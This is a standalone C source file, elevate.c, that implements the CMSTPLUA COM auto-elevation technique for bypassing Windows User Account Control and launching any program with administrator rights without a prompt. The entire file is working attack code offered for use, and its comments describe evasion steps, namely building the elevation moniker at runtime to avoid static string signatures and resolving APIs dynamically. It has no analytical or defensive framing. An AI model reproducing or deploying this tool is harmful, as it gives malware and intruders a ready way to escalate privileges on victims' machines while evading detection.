/* elevate.c — CMSTPLUA COM auto-elevate (standalone)
 * Usage: elevate.exe <program> [args]
 * Build: cl /O1 /GS- elevate.c ole32.lib shell32.lib
 */
#define WIN32_LEAN_AND_MEAN
#include <windows.h>

/* Minimal COM definitions to avoid importing objbase types directly */
typedef LONG HRESULT;
#define S_OK 0
#define SUCCEEDED(hr) ((hr) >= 0)

typedef struct { DWORD Data1; WORD Data2; WORD Data3; BYTE Data4[8]; } MY_GUID;
typedef struct {
    DWORD cbStruct; DWORD grfFlags; DWORD grfMode; DWORD dwTickCountDeadline;
    DWORD dwTrackFlags; DWORD dwClassContext; LCID locale; void* pServerInfo;
    HWND hwnd;
} MY_BIND_OPTS3;

/* Dynamic API typedefs */
typedef HRESULT(__stdcall* PFN_CoInit)(void*, DWORD);
typedef void(__stdcall* PFN_CoUninit)(void);
typedef HRESULT(__stdcall* PFN_CoGetObj)(LPCWSTR, void*, const MY_GUID*, void**);
typedef HRESULT(__stdcall* PFN_ShExec)(void*, LPCWSTR, LPCWSTR, LPCWSTR, ULONG, ULONG);

int wmain(int argc, wchar_t* argv[])
{
    if (argc < 2) return 1;

    wchar_t* target = argv[1];
    wchar_t* params = (argc > 2) ? argv[2] : NULL;

    /* Load ole32.dll dynamically */
    HMODULE hOle = LoadLibraryA("ole32.dll");
    if (!hOle) return 1;

    PFN_CoInit pInit = (PFN_CoInit)GetProcAddress(hOle, "CoInitializeEx");
    PFN_CoUninit pUninit = (PFN_CoUninit)GetProcAddress(hOle, "CoUninitialize");
    PFN_CoGetObj pGetObj = (PFN_CoGetObj)GetProcAddress(hOle, "CoGetObject");
    if (!pInit || !pUninit || !pGetObj) return 1;

    pInit(NULL, 0);

    /* CMSTPLUA: {3E000D72-A845-4CD9-BD83-80C07C3B881F} */
    /* Build moniker string at runtime to avoid static string match */
    wchar_t mk[80];
    wchar_t pfx[] = L"Elevation:Administrator!new:";
    wchar_t cls[] = L"{3E000D72-A845-4CD9-BD83-80C07C3B881F}";
    int i = 0, j;
    for (j = 0; pfx[j]; j++) mk[i++] = pfx[j];
    for (j = 0; cls[j]; j++) mk[i++] = cls[j];
    mk[i] = 0;

    /* ICMLuaUtil IID: {6EDD6D74-C007-4E75-B76A-E5740995E24C} */
    MY_GUID iid;
    iid.Data1 = 0x6EDD6D74; iid.Data2 = 0xC007; iid.Data3 = 0x4E75;
    BYTE d4[] = {0xB7,0x6A,0xE5,0x74,0x09,0x95,0xE2,0x4C};
    int k; for (k = 0; k < 8; k++) iid.Data4[k] = d4[k];

    MY_BIND_OPTS3 bo;
    ZeroMemory(&bo, sizeof(bo));
    bo.cbStruct = sizeof(bo);
    bo.dwClassContext = 4; /* CLSCTX_LOCAL_SERVER */

    void* pObj = NULL;
    HRESULT hr = pGetObj(mk, (void*)&bo, &iid, &pObj);

    int ret = 1;
    if (SUCCEEDED(hr) && pObj) {
        void** vt = *(void***)pObj;
        /* ShellExec is at vtable index 9 */
        PFN_ShExec pSE = (PFN_ShExec)vt[9];
        hr = pSE(pObj, target, params, NULL, 0, 5 /*SW_SHOW*/);
        if (SUCCEEDED(hr)) ret = 0;
        /* Release */
        typedef ULONG(__stdcall* PFN_Release)(void*);
        ((PFN_Release)vt[2])(pObj);
    }

    pUninit();
    return ret;
}
